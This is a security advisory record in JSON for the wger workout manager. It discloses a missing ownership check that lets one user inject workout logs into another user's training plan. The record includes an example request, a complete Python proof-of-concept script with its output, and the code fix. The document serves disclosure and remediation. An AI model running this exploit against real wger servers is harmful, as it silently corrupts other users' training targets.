{"id":"GHSA-rjpf-7pf5-q54x","summary":"wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry","details":"### Summary\n\nAn authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.\n\nBecause `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.\n\n### Details\n\nwger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**\n\n`WorkoutLogViewSet.get_owner_objects()` returns:\n\n```python\n# File: wger/manager/api/views.py, lines 312-316\ndef get_owner_objects(self):\n    return [(Routine, 'routine'), (WorkoutSession, 'session')]\n    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked\n    # (SlotEntry, 'slot_entry') is MISSING\n```\n\nBecause `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified).\n\nThe second contributing factor is in `SlotEntry.get_config_data()`:\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.all())   # no .filter(user=...)\n```\n\nThis reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.\n\n### PoC\n\n#### Prerequisites\n\n- Two authenticated user accounts (attacker and victim)\n- The attacker knows (or can enumerate) the victim's `SlotEntry` ID\n- The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)\n\n#### Attack Steps\n\n```\nPOST /api/v2/workoutlog/\nAuthorization: Token \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n    \"routine\": \u003cattacker_routine_id\u003e,\n    \"slot_entry\": \u003cvictim_slot_entry_id\u003e,\n    \"exercise\": \u003cany_valid_exercise_id\u003e,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": \"2025-01-15\",\n    \"iteration\": 1\n}\n```\n\n**Expected:** HTTP 403 (the `slot_entry` belongs to another user)\n**Actual:** HTTP 201 (the log is created and linked to the victim's `SlotEntry`)\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\nTarget: wger Workout Manager\nSeverity: CRITICAL - CVSS 7.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport json\nfrom datetime import date, timedelta\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nVICTIM_USER = \"admin\"\nVICTIM_PASS = \"adminadmin\"\nATTACKER_USER = \"attacker_idor_poc\"\nATTACKER_PASS = \"Attacker!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate both users ----\n\nprint(\"[1] Authenticating users...\")\n\nvictim_token = api_login(VICTIM_USER, VICTIM_PASS)\nif not victim_token:\n    print(f\"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.\")\n    sys.exit(1)\nprint(f\"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...\")\n\nattacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not attacker_token:\n    print(f\"    Registering attacker account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        attacker_token = r.json().get(\"token\")\n    if not attacker_token:\n        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not attacker_token:\n        print(f\"[-] Cannot create/login attacker. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...\")\n\n\n# ---- 2. Create victim's routine chain ----\n\nprint(\"\\n[2] Setting up victim's private routine chain...\")\n\nvh = api_headers(victim_token)\ntoday = str(date.today())\nend_date = str(date.today() + timedelta(days=30))\n\nr = requests.post(f\"{API}/routine/\", headers=vh, json={\n    \"name\": \"Victim Private Routine\", \"start\": today, \"end\": end_date\n})\nvictim_routine_id = r.json()[\"id\"]\nprint(f\"    Routine   id={victim_routine_id}\")\n\nr = requests.post(f\"{API}/day/\", headers=vh, json={\n    \"routine\": victim_routine_id, \"order\": 1, \"name\": \"Push Day\"\n})\nvictim_day_id = r.json()[\"id\"]\nprint(f\"    Day       id={victim_day_id}\")\n\nr = requests.post(f\"{API}/slot/\", headers=vh, json={\n    \"day\": victim_day_id, \"order\": 1\n})\nvictim_slot_id = r.json()[\"id\"]\nprint(f\"    Slot      id={victim_slot_id}\")\n\nr = requests.get(f\"{API}/exercise/?limit=1&format=json\", headers=vh)\nexercise_id = r.json()[\"results\"][0][\"id\"]\n\nr = requests.post(f\"{API}/slot-entry/\", headers=vh, json={\n    \"slot\": victim_slot_id, \"exercise\": exercise_id, \"order\": 1, \"type\": \"normal\"\n})\nvictim_slot_entry_id = r.json()[\"id\"]\nprint(f\"    SlotEntry id={victim_slot_entry_id}  \u003c-- TARGET\")\n\n\n# ---- 3. Create attacker's own routine ----\n\nprint(\"\\n[3] Creating attacker's own routine...\")\n\nah = api_headers(attacker_token)\n\nr = requests.post(f\"{API}/routine/\", headers=ah, json={\n    \"name\": \"Attacker Routine\", \"start\": today, \"end\": end_date\n})\nattacker_routine_id = r.json()[\"id\"]\nprint(f\"    Attacker routine id={attacker_routine_id}\")\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry\")\nprint(f\"{'='*65}\")\n\npayload = {\n    \"routine\": attacker_routine_id,\n    \"slot_entry\": victim_slot_entry_id,\n    \"exercise\": exercise_id,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": today,\n    \"iteration\": 1,\n}\n\nprint(f\"\\n  POST {API}/workoutlog/\")\nprint(f\"    routine    = {attacker_routine_id}  (attacker's own -\u003e passes check)\")\nprint(f\"    slot_entry = {victim_slot_entry_id}  (VICTIM's -\u003e NOT CHECKED)\")\nprint(f\"    weight     = 999\")\nprint(f\"    reps       = 999\")\n\nr = requests.post(f\"{API}/workoutlog/\", headers=ah, json=payload)\n\nprint(f\"\\n  Response: HTTP {r.status_code}\")\n\nif r.status_code == 201:\n    d = r.json()\n    print(f\"  Created WorkoutLog id={d['id']}\")\n    print(f\"    slot_entry = {d['slot_entry']}  \u003c- VICTIM's SlotEntry!\")\n    print(f\"    routine    = {d['routine']}  \u003c- attacker's routine\")\n    print(f\"    weight     = {d['weight']}\")\n    print(f\"    reps       = {d['repetitions']}\")\nelif r.status_code == 403:\n    print(\"  Access denied - NOT vulnerable (patched)\")\n    sys.exit(0)\nelse:\n    print(f\"  Unexpected: {r.text[:300]}\")\n    sys.exit(1)\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\nr = requests.get(\n    f\"{API}/routine/{victim_routine_id}/date-sequence-display/\",\n    headers=vh,\n)\nprint(f\"\\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/\")\nprint(f\"  (as victim - this endpoint consumes the injected logs)\")\nprint(f\"  HTTP {r.status_code}\")\n\nif r.status_code == 200:\n    seq = r.json()\n    print(f\"  Returned {len(seq)} day(s) of data\")\n    if seq:\n        print(f\"  First entry (truncated):\")\n        print(f\"  {json.dumps(seq[0], indent=2)[:600]}\")\n\nr2 = requests.get(f\"{API}/workoutlog/?format=json\", headers=vh)\nvictim_logs = r2.json().get(\"results\", [])\nprint(f\"\\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)\")\nprint(f\"  (The injected log is owned by attacker, so it does NOT appear\")\nprint(f\"   in victim's list view - but it IS attached to victim's SlotEntry\")\nprint(f\"   and WILL corrupt victim's progression calculations.)\")\n\nprint(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker's fake log (weight=999, reps=999) is now   |\n  |  linked to the victim's SlotEntry and will be included   |\n  |  in get_config_data() -\u003e corrupting auto-progression.    |\n  +----------------------------------------------------------+\n\"\"\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[1] Authenticating users...\n    Victim  (admin): token=7e34da0a3f3f00a4...\n    Registering attacker account...\n    Attacker (attacker_idor_poc): token=8a70d2881b656c18...\n\n[2] Setting up victim's private routine chain...\n    Routine   id=3\n    Day       id=2\n    Slot      id=2\n    SlotEntry id=2  \u003c-- TARGET\n\n[3] Creating attacker's own routine...\n    Attacker routine id=4\n\n=================================================================\n  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry\n=================================================================\n\n  POST http://localhost/api/v2/workoutlog/\n    routine    = 4  (attacker's own -\u003e passes check)\n    slot_entry = 2  (VICTIM's -\u003e NOT CHECKED)\n    weight     = 999\n    reps       = 999\n\n  Response: HTTP 201\n  Created WorkoutLog id=2\n    slot_entry = 2  \u003c- VICTIM's SlotEntry!\n    routine    = 4  \u003c- attacker's routine\n    weight     = 999.00\n    reps       = 999.00\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  GET /api/v2/routine/3/date-sequence-display/\n  (as victim - this endpoint consumes the injected logs)\n  HTTP 200\n  Returned 31 day(s) of data\n\n  Victim's own /api/v2/workoutlog/ shows 0 log(s)\n  (The injected log is owned by attacker, so it does NOT appear\n   in victim's list view - but it IS attached to victim's SlotEntry\n   and WILL corrupt victim's progression calculations.)\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker's fake log (weight=999, reps=999) is now   |\n  |  linked to the victim's SlotEntry and will be included   |\n  |  in get_config_data() -\u003e corrupting auto-progression.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Training Data Integrity:** The progressive-overload engine (`get_config_data`) uses injected fake values when computing the victim's next workout targets. An attacker setting `weight=999` or `repetitions=0` can produce dangerous or nonsensical training recommendations.\n\n2. **Silent Corruption:** The victim receives no notification. Their training plan simply starts producing unexpected numbers.\n\n3. **Scalable Attack:** Because only a `slot_entry` ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.\n\n### Fix\n\n#### Primary Fix - Add `slot_entry` to the ownership check\n\n```python\n# File: wger/manager/api/views.py\nclass WorkoutLogViewSet(WgerOwnerObjectModelViewSet):\n    def get_owner_objects(self):\n        return [\n            (Routine, 'routine'),\n            (WorkoutSession, 'session'),\n            (SlotEntry, 'slot_entry'),      # ADD THIS\n        ]\n```\n\n#### Defence-in-Depth - Filter logs by routine owner\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.filter(\n    user=self.slot.day.routine.user\n))\n```","aliases":["CVE-2026-46438"],"modified":"2026-10-07T14:16:45.766304460Z","published":"2026-10-07T13:59:17Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-07T13:59:17Z","nvd_published_at":null,"cwe_ids":["CWE-639","CWE-862"]},"references":[{"type":"WEB","url":"https://github.com/wger-project/wger/security/advisories/GHSA-rjpf-7pf5-q54x"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"},{"type":"WEB","url":"https://github.com/wger-project/wger/releases/tag/2.6"}],"affected":[{"package":{"name":"wger","ecosystem":"PyPI","purl":"pkg:pypi/wger"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rjpf-7pf5-q54x/GHSA-rjpf-7pf5-q54x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}